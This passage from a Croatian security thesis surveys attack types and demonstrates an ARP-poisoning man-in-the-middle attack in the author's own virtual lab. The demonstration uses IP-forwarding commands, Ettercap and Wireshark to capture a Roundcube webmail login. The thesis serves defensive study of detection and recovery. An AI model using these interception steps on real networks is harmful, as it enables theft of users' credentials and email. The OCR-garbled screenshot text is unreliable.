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Sazetak

U ovom radu prikazati ¢e se nekoliko mogucih vrsta zlocudnih napada na ICT poslovne
okoline, njihov utjecaj na okolinu te detekciju i buducu prevenciju istih. Osim uvida u
svaki od vrsta napada, isti ¢e biti prikazani 1 testirani na virtualnoj okolini, pomocu Kali
Linux distribucije Linux operativnih sustava, koja sluzi za penetracijsko testiranje. Nakon
prakticnog prikaza zlo€udnih napada, predstaviti ¢e se postupak detekcije promjena u
sustavu od strane sistemskog administratora te oporavak od sigurnosnog incidenta. Za kraj,
prikazati ¢e se implementacija novih sigurnosnih kontrola koje ¢e osigurati zastitu od

buducih incidenata, uzrokovanih od strane prikazanih vrsta zlo¢udnih napada.

Kljuéne rijeci: zlocudni napad, Kali Linux, penetracijsko testiranje, detekcija, oporavak,

incident, sigurnosne kontrole, zastita.



Abstract

This thesis will focus on several possible types of malicious attacks on ICT business
environments, their impact on the environment and detection and further prevention of the
aforementioned. Along with analzying each of the several attack types, they will be tested
and shown on a virtual environment, using Kali Linux, a Linux distribution used in
penetration testing. After the applicative presentation of the malicious attacks, the process
of detection of any changes in the system will be shown from the system administrator’s
point of view, as well as the process of recovering from the security incident. Finally, the
process of implementing new security measures will be shown, which will ensure

protection from any further incidents caused by the demonstrated malicious attacks.

Klju¢ne rijeci: malicious attacks, Kali Linux, penetration testing, detection, recovery,

incident, security measures, protection.
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1. Uvod

Oporavak poslovne ICT okoline je proces, pomoc¢u kojeg poslovna organizacija odgovara
na incident, koji moze uzrokovati prestanak rada usluga, Stetu informacijskoj infrastrukturi,
gubitak podataka, kradu osobnih podataka ili slicno te tezi uspostavi funkcionalnog radnog
stanja informacijskog sustava. UnatoC tome Sto postoje mnogi moguci uzroci nastanka
incidenta, u danasnjem dobu brzog razvoja informacijskih tehnologija, jedan od najvecih
pa time i najopasnijih uzroka incidenata je sigurnosni napad na informacijski sustav
poslovne okoline. Godine 2020. sigurnosni napadi su dostigli 5. mjesto na listi najvecih
rizika poslovanju diljem privatnog i javnog sektora te se njihov broj znatno povecao do
2023. godine. Prema Svjetskom ekonomskom forumu odrZzanom 2022. godine: ,,84%
ispitanika naglasavaju vaznost otpornosti na sigurnosne prijetnje unutar svoje organizacije,
no 59% ima poteSkoce s odgovorima na sigurnosne prijetnje, radi manjka potrebnih
vjestina unutar njihove organizacije.”“ Iako mnoge organizacije danas teze prema modelu
poslovanja koji je spreman na obranu i1 prevenciju od sigurnosnih prijetnji, velik broj
organizacija i dalje posustaje u tom pogledu. Prema istrazivanju koje je provela Irska IT
kompanija Accenture, 43% sigurnosnih napada je usmjereno na male poslovne

organizacije, medu kojima je samo 14% njih spremno obraniti se od sigurnosnog napada.



2. Opis okoline

Virtualna okolina je pokrenuta na virtualnom hipervizoru VMWare Workstation 17 Pro.

Sastoji se od tri virtualne masine sa slijede¢im operativnim sustavima:

*  Microsoft Windows 11 Enterprise Evaluation
* Ubuntu Server 22.04.1
» Kali Linux 2022.4

2.1. Pregled sheme infrastrukture

Infrastruktura se sastoji od tri virtualne masine koje imaju funkcije klijenta, servera te
napadaca. Virtualna masina s Windows 11 operativnim sustavom sluzi kao klijentsko,
odnosno korisni¢ko racunalo, koje korisnik upotrebljava kako bi se povezivao na server i
internet. Virtualna masina s Ubuntu serverom, sluzi kao server za elektroni¢ku postu putem
kojega korisnici mogu primati i slati elektronicku postu. Kali Linux vritualna masina sluzi

kao radna stanica napadaca, pomocu koje se odvijaju napadi.

| ‘

Windows 11, & v
‘ Ubuntu

A

X
@
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Slika 1 Shema infrastrukture



Infrastruktura je postavljena pomoc¢u VMWare Workstation 17 Pro hipervizora te svaka od
masina ima dvije mrezne kartice. Prva mrezna kartica ima pristup internetu, a druga se

koristi za unutarnju mrezu izmedu virtualnih masina, ¢iji je subnet ,,192.168.108.0/24°.

2.2. Pregled konfiguracije

Ubuntu Server virtualna masina koristi se kao server za elektroni¢ku postu, pomocu kojega
korisnici primaju i Salju elektronicku postu, putem grafickog sucelja, kojemu pristupaju
putem internet trazilice. U tu svrhu su konfigurirani Roundcube, Postfix i Dovecot.
Roundcube je IMAP klijent otvorenog koda, napisan u PHP programskom jeziku, kojemu
se pristupa pomocu internet trazilice. Postfix je agent za prijenos elektornicke poste koji
omogucava korisnicima da Salju 1 primaju elektroni¢ku poStu te je za potrebe Roundcube
klijenta, konfiguriran kao SMTP server. Dovecot je IMAP i POP3 server otvorenog koda
koji sluzi za sigurno dostavljanje elektronicke poste te je pomocu njega omogucena
autentikacija korisnika i pristup postanskim sanduci¢ima. Roundcube takoder zahtjeva
MariaDB/MySQL bazu podataka koja ¢e spremati korisnic¢ke podatke, PHP pakete, te
Apache internet server putem kojeg je podignuta internet stranica, kojom ¢e korisnici

pristupati Roundcube klijentu.

Kali Linux operativni sustav ukljucuje prethodno instalirane pakete alata za penetracijsko
testiranje te na istome nema dodatne konfiguracije vezane uz rad same infrastrukture, ve¢

¢e se koristiti za testiranje napada na okolinu.

Windows 11 operativni sustav je klijentsko racunalo pomocu kojega korisnik pristupa

Roundcube klijentu te takoder nema dodatne konfiguracije.

2.3. Promjene u infrastrukturi

Promijene u infrastrukturi ¢e biti primijenjene nakon testiranja zlonamjernih napada na

okolinu te se odnose na promjene u konfiguraciji servisa koje ¢e sprijeciti daljnje napade.



3. Prijetnje ICT Sustavima

U danasnjem svijetu gdje poslovne okoline ovise o informacijskim sustavima, vodi se
stalna borba u svrhu zastite istih. lako gotovo svaka organizacija danas ima osmisljen plan
detekcije, prevencije 1 mitigacije raznih vrsti prijetnji informacijskim sustavima, mnogi
napada¢i svakodnevno razvijaju nove metode zlonamjernih napada, iskoriStavanja
sigurnosnih rupa u sustavima te nove i jo$ neotkrivene prijetnje, u svrhu krade podataka i
nanoSenja Stete poslovanju. Mnoge male poslovne okoline nemaju adekvatnu razinu
sigurnosnih kontrola koje se implementiraju kako bi se sprijecilo iskoriStavanje prijetnji te
su podlozne raznim vrstama sigurnosnih propusta koji vode do ugrozavanja poslovanja 1
osobnih podataka zaposlenika. Iako nisu sve prijetnje namjernog tipa te postoje prirodne,
odnosno one nastale prirodnim nepogodama i nenamjerne, odnosno one uzrokovane
ljudskom greskom, zlonamjerni napadi su i dalje prevalentni, kada uzimamo u obzir
koli¢inu Stete koju je moguce nanijeti poslovanju. U tu svrhu, u ovome se radu prikazuje
nekoliko mogucih vrsta zlonamjernih prijetnji te postavljanje novih sigurnosnih kontrola,

kako bi se iste sprijecile te se osigurao kontinuitet poslovanja.

3.1. Vrste napada

Postoje razne vrste napada na informacijske sustave te je cilj ve¢ine krada neke vrste

podataka, nasilni upad u sustav ili onemogucenje usluge.
Neki od najcesc¢ih vrsta napada su slijedeci:

= Ucjenjivacki softver (ransomware)
= Zlonamjerni softver (malware)

* Drustveni inzinjering (phishing)

* Prijetnje dostupnosti (DOS, DDoS)
»  Man-in-the-middle napadi

=  SQL injection napadi

*= DNS tuneliranje

= Zero-day exploit

= Napadi lozinki



* Drive-by napadi

» (Cross-site scripting napadi

= DNS trovanje

» Internet stvari (IoT) napadi

» Napadi preuzimanja sesije (Session hijacking)
* URL manipulacija

=  Cryptojacking

Ransomware odnodno ucijenjivacki softver je nafin napada u kojem zlonamjerna osoba
preuzme kontrolu nad podacima, odnosno zakljuca podatke nekom vrstom enkripcije, u

svrhu trazenja otkupnine za kljuc, kojim ¢e se probiti enkripcija nad podacima.

Malware je vrsta softvera ¢iji je cilj nanijeti Stetu racunalu ili dobiti pristup racunalu bez
znanja korisnika. Vrste malicioznih programa te njihov utjecaj na sustav biti ¢e objasnjeni

u slijede¢em poglavlju.

Drustveni inZinjering je vrsta napada pomocu koje se iskoriStava ljudska pogreska kako bi
se dobio pristup informacijama ili uslugama. Ovaj napad racuna na Cinjenicu da je ljude
daleko lakSe nasamariti nego racunalo, te se laznim predstavljanjem putem elektronicke
poste, poziva, SMS poruka, druStvenih mreza ili sliénih nac¢ina komunikacije, pokusava

do¢i do osobnih podataka zrtve.

Prijetnje dostupnosti odnodno DOS ili DDoS napadi, se odnose na napade optere¢ivanja
mrezne infrastrukture velikim brojem upita kako bi se sustav preopteretio i postao

nedostupan.

Man-in-the-middle je vrsta napada pomocu koje napada¢ prisluskuje promet, najcesce
putem javnih Wi-Fi mreza, kako bi ukrao pristupne podatke zrtve. Napadac¢ se postavi
izmedu uredaja zZrtve 1 usluge kojoj pokuSava pristupiti te time proslijeduje upite od Zrtve
do destinacije 1 natrag, pritom presrecuci informacije o korisnickim imenima i lozinkama.

SQL injection je vrsta napada pomocu koje napadac pokusava prevariti bazu podataka koju

koristi neka internet stranica kako bi pristupio korisnickom racunu usluge koju stranica

pruza.

DNS tuneliranje je vrsta napada kojom se zaobilaze sigurnosne mjere poput vatrozida,

pomocu malicioznih programa skrivenih unutar DNS upita, kako bi se provalilo u sustav.



Zero-day exploit je vrsta ranjivosti koja se nalazi u nekom softveru ili mrezi bez da
proizvodac istog zna za nju. Ranjivost se pojavljuje nakon §to proizvoda¢ izbaci novu
verziju softvera te dok jo$ nije detektirana, zlonamjerni napadaci ju mogu iskoristiti kako

bi upali u sustav korisnika tog softvera ili ukrali osjetljive podatke.

Napadi lozinki se odnose na bilo koju vrstu napada kojom napadaci pokusavaju pogoditi,

nasilno probiti lozinku ili prevariti korisnika da sam otkrije lozinku.

Drive-by napadi su vrsta napada pomocu kojih zrtva preuzima zlonamjerni softver s neke
internet stranice. lako vec€ina napada zahtjeva da zrtva svjesno klikne na link za skidanje
zlonamjernog softvera, kod drive-by napada dovoljno je da Zrtva samo posjeti zarazenu

stranicu.

Cross-site scripting napadi omogucuju napadac¢ima da dobiju neautorizirani pristup
internet aplikaciji ili stranici, na nacin da se pomoc¢u malicioznog koda koji Zrtva ne
znajudi instalira na svoje racunalo, maskira u Zrtvin korisni¢ki racun te dobija prava

pristupa.

DNS trovanje je vrsta napada kojom napadaci preusmjeravaju zrtvin promet na laznu
internet stranicu koja izgleda identi¢no kao stranica koju je zrtva namjeravala posjetiti. Sve
informacije koje zrtva unosi na toj stranici se tada Salju direktno napadacu umjesto na

pravu stranicu.

IoT napadi se odnose na napade koji ukljucuju napade na pametne uredaje, poput mobilnih
uredaja, televizora, smart-home sustava 1 slicnog kako bi napadac¢ ukrao podatke ili ih

povezao u botnet, u svrhu DDoS napada.

Napadi preuzimanja sesije su vrsta Man-in-the-middle napada, u kojem napada¢ zamjeni
svoju IP adresu sa onom koju ima klijentsko racunalo te se spaja na server bez ikakve

potrebe za autorizacijom.

URL manipulacija je vrsta napada pomocu kojeg napada¢ izmjeni parametre u adresi neke
internet stranice kako bi naveo zrtvu na pristup malicioznoj stranici ili natjerao zrtvu da ne

znajuci dohvati neki malicijozni softver.

Cryptojacking je vrsta napada pomocu koje napadac iskoriStava resurse zrtvinog racunala
kako bi kopao kriptovalute. Takva vrsta napada znatno usporava Zrtvin sustav te isti

postaje podlozan dodatnim napadima.



3.2. Maliciozni programi

Malware ili maliziozni softver moze imati nekoliko razli¢itih svrha, kao $to su prikupljanje
osjetljivih informacija, dobivanja prava pristupa sustavu, prekidu konekcije s ostatkom

sustava, usporavanje sustava itd.

Postoji nekoliko vrsta malicioznog softvera:

Virus je naj¢eS¢a vrsta malicioznih programa koji moZze zaraziti ostale datoteke te se tako
replicirati 1 $iriti po sustavu.

Crv je vrsta malicioznog programa slican virusu, kojemu nije potreban pokreta¢, ima

mogucnost samoreplikacije te se Siri bez ikakve interakcije napadaca ili korisnika.

Trojanski konj je vrsta malicioznog programa, koji se sakriva u obliku legitimnog

programa te omogucava napadacu pristup nekom sustavu.

Spyware skuplja informacije 1 podatke korisnika 1 uredaja te prati aktivnost korisnika na

internetu.

Ransomware je vrsta malicioznog softvera koja kriptira korisnicke podatke te trazi

otkupninu u svrhu otklju¢avanja podataka.

Rootkit je vrsta malicijoznog softvera koja omogucava napadacu kontrolu 1
administratorsku razinu pristupa nekom sustavu. Rootkit se najteze detektira od svih vrsta
malicioznih softvera, jer ima moguénost modifikacije operativnog sustava racunala, kako

bi se sakrio od metoda detekcije malicioznih programa.

RAT, odnosno trojanac udaljenog pristupa je vrsta malicioznog softvera koji ugraduje

straznji ulaz u sustav, koji omogucava napadacu udaljeni pristup sustavu bez znanja zrtve.

Adware je maliciozni softver koji prati Zrtvinu povijest pretrazivanja i dohvacanja

podataka putem interneta kako bi prikazao Zrtvi prozorci¢e na temelju Zrtvinih preferenci.

Keylogger je vrsta malicioznog softvera koja prati gotovo sve $to zrtva radi na raCunalu, od

unosa tipkovnice, elektroni¢ke poste, slike ekrana, internet stranica, programa itd.



3.3. Detekcija napada

Detekcija napada je sposobnost organizacije da brzo i precizno identificira prijetnje mrezi,
aplikacijama 1 ostalim resursima unutar informacijskog sustava. Efektivna detekcija
kompromitiranosti sustava zapocinje analizom i1 razumijevanjem prijetnji koje postoje
unutar informacijskog sustava. RazliCite vrste prijetnji su navedene u prethodnom
poglavlju. Nakon toga zapo€inje dubinska obrada podataka u svrhu detektiranja lokacije
same prijetnje te podrucja ili skupine podataka zahvacenih prijetnjom. Kao $to napadaci
koriste veliki broj alata za iskoriStavanje ranjivosti 1 pokretanja napada na informacijske
sustave, tako administratori tih sustava koriste alate i aplikacije ¢ija je primarna zadaca
detekcija 1 mitigacija poznatih kibernetickih napada, ,,zero-day* prijetnji, virusa i slicnog.
To su IDS/IPS sustavi, odnosno sustavi za detekciju 1 prevenciju provala, aplikacijski 1
mrezni vatrozidovi, platforme za suzbijanje prijetnji pomoc¢u neke vrste inteligencije ili
strojnog ucenja, antivirusni sustavi, sustavi za automatski nadzor te dodatne mjere kao $to

su penetracijsko testiranje sustava i analiza ponasanja korisnika.

3.4. Odgovori na napade

Osim $§to je prijetnje potrebno detektirati, postoje i razne metode odgovora na napade
uzrokovane iskoriStavanjem istih prijetnji. One mogu biti u obliku sigurnosnih kontrola 1
politika neke organizacije ili u obliku neke vrste sustava za mitigaciju Stete ili oporavak
sustava, nakon §to je napad izvrSen. Neki od pasivnih na¢ina mitigacije prijetnji su sustavi
koji osiguravaju dodatnu razinu zastite kod pristupa sustavu, kao Sto su multifaktorska
autentifikacija ili IAM sustavi, odnosno sustavi za upravljanje identitetom i pristupom.
Upravljanje ranjivosti je takoder bitan pristup kod odgovora na moguce napade, u smislu
da su sav softver i operacijski sustavi, azurirani na najnovije verzije. Prevencija gubitka
podataka je takoder iznimno bitan faktor kod odgovora na potencijalne napade, kako bi ¢ak
1 ukoliko je napad izvrSen, te je integritet sustava ili podataka na istom ugroZen, bilo
moguce u potpunosti vratiti navedene na prethodno stanje te povratiti kontinuitet
poslovanja. Uz navedene odgovore postoje i odgovori na napade koji su viSe proaktivnog
tipa umjesto preventivnog, kao Sto su postavljanje zamki i mamljenje potencijalnog
napadaca u istu te lov na prijetnje. Lov na prijetnje je iznimno napredan tip proaktivnog

odgovora na prijetnje, gdje sigurnosni analitiCar aktivno pretrazuje informacijski sustav te
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trazi znakove prijetnji ili skrivenog napadaca te isti provode iskusniji sigurnosni analiti¢ari.
U konacnici najbolji pristup kod odgovora na prijetnje je dvostruk, te bi se trebao sastojati
od dvije komponente; analiticara koji analizira trendove prijetnji, ponasanja napadaca i
podatke te tehnicke komponente u obliku tehnologija koje sluze za detekciju 1 mitigaciju

prijetnji.
3.5. Alati za napade na sustave (Kali Linux)

Kali Linux je distribucija operacijskog sustava otvorenog koda Linux, koja je zasnovana na
Debian distribuciji te se koristi u svrhe digitalne forenzike i penetracijskog testiranja
informacijskih sustava. Distribuciju je proizvela te ju odrzava, tvrtka Offensive Security te
potiCe od operativnog sustava KNOPPIX, proizvedenog godine 2000. KNOPPIX je
posluzio kao baza za dvije nove distribucije, WHAX 1 ,,Auditor Security Collection®, dva
suparnika koji su zatim spojeni u BackTrack Linux, godine 2006. U godini 2013.
BackTrack je redizajniran u obliku Kali Linux distribucije. Ono §to ovaj operativni sustav
¢ini korisnim, je veliki broj ve¢ instaliranih paketa i alata koji sluze za testiranje prijetnji,
napada na sustave te edukaciji o sigurnosnim prijetnjama. Kali Linux je potpuno besplatan
operativni sustav, unutar kojega je danas ukljueno vise od 600 alata za penetracijsko
testiranje te korisniku omogucéava potpunu slobodu prilagodavanja i uredivanja distribucije
svojim potrebama. Za potrebe ovoga rada, Kali Linux ¢e se koristiti u svrhe penetracijskog
testiranja 1 simulacije napada na Zzrtvu, kako bi se adekvatno prikazao postupak
iskoriStavanja odabranih prijetnji 1 kasnije ostvario prikaz odgovora na prijetnje te
implementacije novih sigurnosnih kontrola u svrhu sprjeCavanja buducih. Alati za napade
na sustave koji ¢e se za potrebe ovoga rada koristiti unutar Kali Linux operacijskog sustava
su Ettercap, Metasploit i Wireshark. Ettercap je alat za provodenje man-in-the-middle
napada unutar lokalne mreze te ga je moguce koristiti i za analizu mreznih protokola te
revizije sigurnosti informacijskog sustava. Metasploit je najkoristeniji alat za penetracijsko
testiranje u svijetu, koji omogucava pronalazenje sigurnosnih ranjivosti nekog sustava te
konfiguraciju malicioznog softvera koji je mogucée ubaciti u sustav iskoriStavanjem
ranjivosti te ga pokrenuti udaljenim pristupom na napadnutom sustavu. Wireshark je alat
koji sluzi za analizu mreznih paketa unutar lokalne mreze te se primarno koristi u svrhe
otkrivanja mreznih problema i proizvodnju komunikacisjkih protokola, no moguce ga je

koristiti 1 u malicioznim napadima kao alat za prisluskivanje prometa putem mreZze.
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4. Napadi na sustav

U ovome radu biti ¢e prikazane Cetiri vrste napada:
»  Man-in-the-middle napad

» SQL injection napad

* Napad malware-om

»  Drive-by napad

Napadi se vrse ili direktno s Kali Linux platforme ili navodenjem Zrtve na dohvacanje

malicioznog softvera.

4.1. Man-in-the-middle napad

Kao $to je prethodno opisano, man-in-the-middle napadi se najcesce provode putem Wi-Fi
mreze. U ovome scenariju, sve tri virtualne masSine su spojene na istu mrezu
192.168.108.0/24. Napadacu je cilj pozicionirati se izmedu klijentskog racunala s
Windows 11 operativnim sustavom te Ubuntu servera, kako bi presretao promet. U tu
svrhu koristiti ¢e se Ettercap, alat s grafickim suceljem pomocu kojega je moguce napraviti
vrstu man-in-the-middle napada koja se zove ,,ARP poisoning®“. Ova vrsta napada truje
ARP tablice tako da Kali Linux virtualna masina zapisuje MAC adresu servera umjesto
svoje unutar ARP tablice klijenta i tako se pravi da je server. Isto tako uzima MAC adresu
klijenta i postavlja ju umjesto svoje u ARP tablici servera i pravi se da je klijent. Na taj
nacin su 1 server i klijent prevareni te kada klijent Salje zahtjev, on dolazi do Kali Linux
masine 1 proslijeduje se serveru. Nakon toga server Salje klijentu zahtjev, koji prvo dolazi
do Kali Linux masine i proslijeduje se klijentu. Na taj nacin napadac je postao posrednik
izmedu klijenta i servera i moze presretati osjetljive podatke, kao §to ¢e u slijede¢em
prikazu, biti podaci o korisnickom imenu i lozinci za pristup Roundcube korisnickom

racunu za slanje elektronicke poste.

Prvi korak je pomocu slijede¢ih naredbi ukljuciti opciju ,,IP forwarding* kako bi napadac
mogao proslijedivati promet.

cat /proc/sys/net/ipv4/ip forward
echo 1 > /proc/sys/net/ipv4/ip forward
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sudo echo 1 > /proc/sys/net/ipv4/ip forward

Kod 1.1 Kod za postavljanje ,,IP forward" opcije

Nakon toga je potrebno pokrenuti Ettercap i odabrati mrezno sucelje koje je spojeno na

Wi-Fi mrezu.

Ettercap

Sniffing at startup

Primary Interface

Bridged sniffing

Bridged Interface

Slika 2 Ettercap graficko sucelje

Nakon toga zapocinje prisluskivanje mreze te se pokre¢e skeniranje mreze kako bi se

dohvatio popis uredaja na mrezi.

mQ = Ettercap

HostList x

IP Address MACAddress Description
192.168.108.1  00:50:56:C0:00:0A
192.168.108.2  00:0C:29:77:1D:A9
192.168.108.10  00:0C:29:DF:6B:47
192.168.108.20 00:0C:29:77:1D:A9
192.168.108.254 00:50:56:F4:54:34

Delete Host Add to Target 1 Add to Target 2

Listening on:

eth1-> 00:0C:29:80:D8:44
192.168.108.129/255.255.255.0
fe80::454c:b7a9:db74:cabc/64

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Privileges dropped to EUID 65534 EGID 65534...

34 plugins

42 protocol dissectors

57 ports monitored

28230 mac vendor fingerprint

1766 tcp OS fingerprint

2182 known services

Lua: no scripts were specified, not starting up!
Starting Unified sniffing...

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
5 hosts added to the hosts list...

Slika 3 Ettercap popis uredaja
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Uredaji s adresama 192.168.108.10 1 192.168.108.20 su Windows 11 i Ubuntu virtualne

masine te ih se oznacuje kao mete.

E Q Ettercap

Target 1 Target 2
192.168.108.10 192.168.108.20

Delete Delete
RAnNaoimiZing £33 nosis 101 scanning...
Scanning the whole netmask for 255 hosts...
5 hosts added to the hosts list...
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
5 hosts added to the hosts list...
Host192.168.108.10 added to TARGET1
Host192.168.108.20 added to TARGET2

Slika 4 Ettercap popis meta

Prije nego zapocne napad, unoSenjem komande 'arp -a' na klijentskom racunalu moguce je

vidjeti trenutno stanje tablice prije izmjena napadom.

Interface: 192.168.108.10 —-—— Oxf

Internet Address Physical Address Type

192.168.168.1 00-08c-29-6b-5c-61 dynamic
192.168.168.129 00-06c-29-80-d8-u4 dynamic
192.168.168.255 ff—ff—ff—ff—ff-ff static
224.0.0.22 01-00-5e-00-00-16 static
224.0.0.251 01-00-5e-00-00-fb static
224.0.0.252 01-00-5e-00-00-fc static
239.255.255.250 01-00-5e-7f-ff-fa static

Slika 5 Arp tablica prije napada

Iz MITM menija se odabire ,,ARP poisoning*.

Ettercap

ARP poisoning...
NDP poisoning
ICMP redirect...
Port stealing...
DHCP spoofing...

Stop MITM attack(s)

SSL Intercept

Slika 6 Ettercap MITM meni

Nakon ¢ega je potrebno odabrati opciju za prisluskivanje udaljenih konekcija.
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Cancel MITM Attack: ARP Poisoning

Optional parameters
? ¥ Sniff remote connections.
-
Only poison one-way.

Slika 7 Ettercap ARP Poisoning
Ettercap tada prikazuje slijede¢u poruku, kojom oznacava da je napad zapoceo.

ARP poisoning victims:
GROUP 1:192.168.108.10 00:0C:29:DF:6B:47

GROUP 2:192.168.108.20 00:0C:29:77:1D:A9

Slika 8 Pocetak Arp poisoning napada

Ukoliko se sada unese komanda 'arp -a' na klijentskom rac¢unalu, moguce je vidjeti kako je

napadacko racunalo poprimilo MAC adresu Ubuntu servera.

Interface: 192.168.108.10 -—— Oxf
Internet Address Physical Address Type
192.168.108.1 00-0c-29-6b-5c-61 dynamic
192.168.168.20 00-0c-29-80-d8-u4u dynamic
192. .108. 00-0c-29-86-d8-uU4 dynamic

192.168.108. FF—Ff—FF-Ff—FF—Ff static
224.0.0.22 01-00-5e-00-00-16 static
224.0.0.251 01-00-5e-00-00-fb static
224.0.0.252 01-00-5e-00-00-fc static
239. . 2995. 01-00-5e-7f-ff-fa static

Slika 9 ARP tablica nakon napada

Time je napad zapoceo, te je napadacko racunalo uspjesno postalo posrednik izmedu

klijenta 1 servera.

U svrhu prisluskivanja paketa te krade korisnickih podataka, koristiti ¢e se Wireshark, alat
za analizu mreznih paketa. Kako bi se dohvatio pravi paket, potrebno je konfigurirati
Wireshark da analizira promet na mreznom sucelju spojenom na mrezu na kojoj su klijent 1

server te filtrirati podatke koji dolaze i1 odlaze na klijentsko racunalo.
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File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ADA® R BRE@ a « »n «>EEoesol
(W [ip-addr ==192.168.108.10]

Time Source Destination Protocol Length Info
13 33.095157333 192.168. 3 192.168.108. DNS 88 Standard query 0x5292 A contile.services.mozilla.com
14 33.107337860 192. . . . . 104 Standard query response 0x5292 A contile.services.mozilla.com A 34.117.237.239
21 44.160452950 192. 88 Standard query 0x4425 AAAA contile.services.mozilla.com
22 44.171200360 192.168.108.1 192.168.108.10 DNS 169 Standard query response 0x4425 AAAA contile.services.mozilla.com SOA ns-679.awsdns-20.net

37 85.142548536 192.168.108.10 239.255.255.250 SSDP 217 M-SEARCH * HTTP/1.1
38 86.148000321 192.168.108.10 239.255.255.250 SSDP 217 M-SEARCH * HTTP/1.1
39 87.159828236 192.168.108.10 239.255.255.250 SSDP 217 M-SEARCH * HTTP/1.1

.255.250 SSDP 217 M-SEARCH * HTTP/1.1
.251 MDNS 227 Standard query response 0x0000 PTR WinDev23@1Eval._dosvc._tcp.local SRV © © 7680 WinDev23@1..
.251 MDNS 92 Standard query ©x0000 ANY WinDev2301Eval._dosvc._tcp.local, "QM" question
.251 MDNS 92 Standard query 0x0000 ANY WinDev23@1Eval. dosvc. tcp.local, "QM" question
.251 MDNS 92 standard query 0x0000 ANY WinDev23@1Eval._dosvc. local, "QM" question

42 88.165980314 192.168.108.10
43 92.680180061 192.168.108.10
45 92.681424108 192.168.108.10
47 92.936502498 192.168.108.10
49 93.195398910 192.

Frame 13: 88 bytes on wire (704 bits), 88 bytes captured (704 bits) on interface ethi, id © 61
Ethernet II, Src: VMware_df:6b:47 (00:0c:29:df:6b:47), Dst: VMware 6b:5c:61 (00:0c:29:6b:5c:61) 0 00
Internet Protocol Version 4, Src: 192.168.168.10, Dst: 192.168.108.1 6 35
User Datagram Protocol, Src Port: 60775, Dst Port: 53 00
Domain Name System (query) 65

Slika 10 Wireshark

Nakon toga ¢e korisnik klijentskog raCunala pristupiti svom korisnickom racunu na

Roundcube pristupnoj stranici.

@ | & Roundeube Webmail: Welcor X |+

« ¢} O 8 192168.10820 % vy ©® 8 =

admin@testing.local

Roundcube Webmail

Slika 11 Roundcube pristup ,,admin‘ racunu

Nakon $to je korisnik usao u svoj racun, moguce je dodati filter unutar Wireshark alata koji
trazi ,,POST* upite sa klijentskog racunala te ¢e se time dobiti URL stranice kojoj se

pristupa te korisni¢ko ime i lozinka.
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File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
ADAdO® i BBR ¢« >»n<«>WEoco@
[W[ip-addr ==192.168.108.10 && frame contains "POST"

No. Time Source Destination Protocol Length Info
354 453.064373121 192.168.108.10 192.168.108.20 745 POST /?_task=login HTTP/1.1 (application/x-www-form-urlencoded)

770 POST /'Ltask:ogin HTTP/1.1 (application/x-www-form-urlencoded)
829 POST /?_task=mail&_action=autocomplete HTTP/1.1 (application/x-www-form-urlencoded)
1046 POST /?_task=mail&_unlock=10ading1676846748949& framed=1 HTTP/1.1 (application/x-waw-form-.

1636 POST /?_task=mail&_unlock=1loading1676846765658& framed=1 HTTP/1.1 (application/x-www-form-..

827 POST /?_task=mail&_action=autocomplete HTTP/1.1 (application/x-www-form-urlencoded)

» Cookie: roundcube_sessid=9e313jviti7adh3k7qc2ibksko\r\n 70 3a 2f 2f 31 39 32 2e 31 36 38 2e 31 30 3
Upgrade-Insecure-Requests: 1\r\n 32 30 2f 0d ©a 43 6f 6f 6b 69 65 3a 20 72 €
\r\n 6e 64 63 75 62 65 5f 73 65 73 73 69 64 3d 3

33 6¢c 33 6a 76 31 74 31 37 61 64 68 33 6b 2
[HTTP request 1/1] 63 32 69 62 6b 73 6b 6f ©Od @a 55 70 67 72 €
65 2d 49 6e 73 65 63 75 72 65 2d 52 65 71 7

73 74 73 3a 20 31 0d Ga ©Od @a 5f 74 6f 6b €

3d 73 68 6c 33 53 6b 30 54 4b 71 4b 72 52 €

6a 77 4b 53 38 76 73 74 46 58 6f 67 4c 31 7

File Data: 143 bytes

~ HTML Form URL Encoded: application/x-www-form-urlencoded
» Form item h13SkoTKqKrRgNjwKSBvstFXogL1plR" 52 26 5f 74 61 73 6b 3d 6C 6f 67 69 66 26 §
y E"']“ item: *_ o 71“"91'1" N 63 74 69 6f 6e 3d 6c 6f 67 69 6e 26 5f 74 €
» Form item c S ogtng / " 65 7a 6f 6e 65 3d 41 6d 65 72 69 63 61 25 2
» Form item: "_ America/Los_Angeles 4c 6f 73 5F 41 6e 67 65 6¢ 65 73 26 5F 75 7
» Form item r ) 3d 26 5f 75 73 65 72 3d 61 64 6d 69 6e 25 3
» Form item min@testing.local” 2d0 74 65 73 74 69 6e 67 2e 6c 6f 63 61 6C 26 §
» Form item "admin" e0 61 73 73 3d 61 64 6d 69 6e

® B Textitem (text), 11 bytes Packets: 1120 - Displayed: 22 (2.0%) Profile: Default

Time je napad uspjesan i moguce je pristupiti korisnickom racunu te do¢i do osjetljivih

podataka koji se nalaze unutar elektronicke poste, ukoliko takvi postoje.

Zaustavljanjem napada unutar Ettercap-a prikazuje se slijedeéa poruka.

ARP poisoner deactivated.
RE-ARPing the victims...
Slika 12 Ettercap zavrS$etak napada

ARP tablice se time vracaju u stanje u kakvom su bile prije napada.

4.2. SQL injection napad

SQL injection je vrsta napada kojom se iskoriStava ranjivost internet stranica kako bi se

dobio pristup stranici ili podacima kojima napadac inace ne bi imao pristup.

Ova vrsta napada radi na principu interferencije upitima koje aplikacija Salje svojoj bazi te
pomocu kojih napada¢ moze dohvatiti vrijednosti unutar baze, modificirati ih ili prevariti
aplikaciju pomocu SQL upita, kako bi aplikacija mislila da napadacu treba pruziti pravo

pristupa bez unoSenja ispravnih korisnic¢kih imena i lozinki.

SQL injection je moguce iskoristiti kada aplikacija korisnika pita za nekakav unos, kao $to
je korisnicko ime, ID korisnika, lozinka ili sli¢no. Nakon S§to korisnik unese svoje
korisnicko ime 1 lozinku, aplikacija ¢e uzeti te dvije vrijednosti te ih usporediti s
vrijednostima koje se nalaze unutar njene baze. Ukoliko se vrijednosti podudaraju,

aplikacija daje pristup korisniku. Medutim, koriste¢i ovu vrstu napada, moguce je umjesto
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pravilnog korisni¢kog imena i lozinke, unijeti SQL upit kojim ¢e se prevariti aplikacija i
napraviti upit na razini baze te koji ¢e vratiti vrijednosti koje inace nebi trebao. Ovaj
ucinak moze se posti¢i na velik broj nacina, od kojih kompleksniji zahtjevaju dobro
